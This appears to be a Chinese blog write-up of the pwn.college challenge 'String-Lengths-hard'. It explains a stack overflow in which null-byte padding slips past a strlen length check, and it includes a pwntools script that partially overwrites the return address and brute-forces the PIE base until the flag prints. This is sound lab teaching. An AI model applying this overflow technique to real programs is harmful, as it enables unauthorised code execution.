String-Lengths-hard

题目简介

这题除了PIE以外,对输入还存在额外的校验,具体是什么需要我们去分析

漏洞点分析

首先依然是chencksec,可以看到除了cananry全部开启,大概率和PIE的那题一样,需要触发后门函数

拖到IDA里看一下果不其然,有熟悉的win_authed,并且溢出点在challenge中

所以漏洞点和PIEs类似,劫持控制流到win函数

漏洞点利用

首先看objdump看win函数的地址,最后两个字节是0x2142,然后依然是要返回到校验逻辑的后面,选择0x215e

偷个懒,具体的操作方法就不放图了,可以参考PIE那一题的WpPIEs-hard题解

之后看偏移地址,IDA里看到最后dest距离rbp0x50个字节,所以offset=0x50+0x8=88

注意:这里的buf是malloc申请到的堆上的空间,不能看buf的地址,要从后面memcpy的操作,看出最后是把输入复制到位于栈上的dest处


最后,最关键的地方来了,challenge会调用strlen函数对我们的输入长度存在校验,不能超过43,但光垃圾数据填充就要88个,显然不行

这里卡了很久,直到看到对strlen函数的一个说明:

The strlen() function calculates the length of the string pointed to by s, excluding the terminating null byte (‘\0’).
翻译一下就是这个函数会计算字符串的长度,直到遇到终止字节,即0x00

很好,那思路就应该是用0x00作为垃圾数据填充88字节即可,这样一看这题一下子就变得简单了,之前还卡了一个下午

也算是长了个教训,还是基础不扎实,对这些库函数还是停留在用的层面,不了解深层的实现机制……

最终的利用脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(os='linux', arch='x86_64',log_level='debug')
offset=88
returnAddr=0x415e
while True:
payload=b'\x00'*offset+p16(returnAddr)
ioTube=process("/challenge/binary-exploitation-null-write")
ioTube.recvuntil("Send your payload (up to 4096 bytes)!\n")
ioTube.send(payload)
response=ioTube.recv().decode()
if r"pwn.college{" in response:
open("flag.txt","w").write(response)
break

然后去flag.txt里找就行了


String-Lengths-hard
http://0x4a-210.github.io/2025/07/19/pwn.college/Intro-to-Cybersecurity/Pwn/String-Lengths-hard/
Posted on
July 19, 2025
Licensed under